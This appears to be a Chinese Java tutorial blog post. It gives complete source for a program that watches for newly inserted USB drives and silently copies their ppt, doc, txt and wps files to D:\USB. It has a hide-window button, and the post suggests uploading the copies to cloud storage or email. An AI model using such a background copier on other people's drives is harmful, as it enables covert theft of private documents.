做程序员要时时刻刻带着U盘,方便文件的拷贝,以便工作的顺利开展,对于一些java命令程序员们要传进u盘,可是要怎么操作呢?下面来我们就来给大家讲解一下这方面的内容。
直接拷贝就行,你可以eclipse的导出功能,然后将导出的工程复制到U盘中然后拷贝到他的电脑上然后在用他的eclipse的导入功能“导入已存在的工程”就行了,如果不想让他看到你的代码,又想看到运行效果,可以导出为jar包然后放到他的环境中直接运行。
如何实现u盘内容自动复制?
这个小程序的实现方法如下:
1、程序运行后隔一断时间就检查系统的盘符有没有增加,通过File.listRoots()可获取系统存在的盘符。
2、如果盘符增加了,遍历这个新增加的盘符,用字节流拷贝文件到指定的路径。
需要注意的是,由于U盘的内容可能很大,所以拷贝的时候最好指定要拷贝的文件类型,如ppt,doc,txt等等。
下面是这个小程序的相关代码:
在CopyThread类中可以指定要复制的文件类型,大家在fileTypes数组中加入相应的文件后缀名即可。如果要复制所有文件,将其设为null就行了。在CopyFileToSysRoot类中可以指定存储的路径,当然,如果愿意的话,你可以将文件上传到网盘,邮箱等等。
一、USBMain类,程序入口:
import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JFrame; public class USBMain { public static void main(String[] args) { USBMain u = new USBMain(); u.launchFrame(); //开启盘符检查线程 new CheckRootThread() .start(); } // 界面 private void launchFrame() { final JFrame frame = new JFrame(); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setLocation(450, 250); JButton hide = new JButton("点击隐藏窗口"); // 点击按钮后隐藏窗口事件监听 hide.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { frame.setVisible(false); } }); frame.add(hide); frame.pack(); frame.setVisible(true); } }
二、CheckRootThread类,此类用于检查新盘符的出现,并触发新盘符文件的拷贝。
import java.io.File; //此类用于检查新盘符的出现,并触发新盘符文件的拷贝 public class CheckRootThread extends Thread { // 获取系统盘符 private File[] sysRoot = File.listRoots(); public void run() { File[] currentRoot = null; while (true) { // 当前的系统盘符 currentRoot = File.listRoots(); if (currentRoot.length > sysRoot.length) { for (int i = currentRoot.length - 1; i >= 0; i--) { boolean isNewRoot = true; for (int j = sysRoot.length - 1; j >= 0; j--) { // 当两者盘符不同时,触发新盘符文件的拷贝 if (currentRoot[i].equals(sysRoot[j])) { isNewRoot = false; } } if (isNewRoot) { new CopyThread(currentRoot[i]) .start(); } } } sysRoot = File.listRoots(); //每5秒时间检查一次系统盘符 try { Thread.sleep(5000); } catch (InterruptedException e) { e.printStackTrace(); } } } }
三、CopyThread类,用于文件遍历并选择指定文件格式进行复制:
import java.io.File; //该类用于对新盘符文件的复制 public class CopyThread extends Thread { // 设置要复制的文件类型,如果要复制所有格式的文件,将fileTypes设为null即可 private static String[] fileTypes = { "ppt" , "doc" , "txt" , "wps" }; // private static String[] fileTypes = null; File file = null; public CopyThread(File file) { this.file = file; } public void run() { listUsbFiles(file); } //遍历盘符文件,并匹配文件复制 private void listUsbFiles(File ufile) { File[] files = ufile.listFiles(); for (File f: files) { if (f.isDirectory()) { listUsbFiles(f); } else { if (fileTypeMatch(f)) new CopyFileToSysRoot(f) .doCopy(); } } } //匹配要复制的文件类型 public boolean fileTypeMatch(File f) { //fileTypes为null时,则全部复制 if (fileTypes == null) { return true; } else { for (String type: fileTypes) { if (f.getName() .endsWith("." + type)) { return true; } } } return false; } }
四、CopyFileToSysRoot类,复制文件的IO流实现:
import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; //文件复制IO public class CopyFileToSysRoot { // 复制文件保存路径 private static final String PATH = "D:\\USB"; private File file = null; public CopyFileToSysRoot(File file) { this.file = file; } // 复制文件 public void doCopy() { BufferedInputStream bis = null; BufferedOutputStream bos = null; try { //创建目录 File fPath = new File(getFileParent(file)); if (!fPath.exists()) { fPath.mkdirs(); } bis = new BufferedInputStream(new FileInputStream(file)); bos = new BufferedOutputStream(new FileOutputStream(new File(fPath , file.getName()))); byte[] buf = new byte[1024]; int len = 0; while ((len = bis.read(buf)) != -1) { bos.write(buf, 0, len); bos.flush(); } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { try { if (bis != null) bis.close(); } catch (IOException e) { e.printStackTrace(); } try { if (bos != null) bos.close(); } catch (IOException e) { e.printStackTrace(); } } } // 根据盘符中文件的路径,创建复制文件的文件路径 public String getFileParent(File f) { StringBuilder sb = new StringBuilder(f.getParent()); int i = sb.indexOf(File.separator); sb.replace(0, i, PATH); return sb.toString(); } }
其实这代码的功能是检查U盘,并将U盘的内容自动拷贝到系统的某个盘符中,对于程序员的日常工作还是有帮助的,因此要自动复制内容,可以参考以上的做法哦!最后大家如果想要了解更多java入门知识,敬请关注奇Q工具网。
推荐阅读: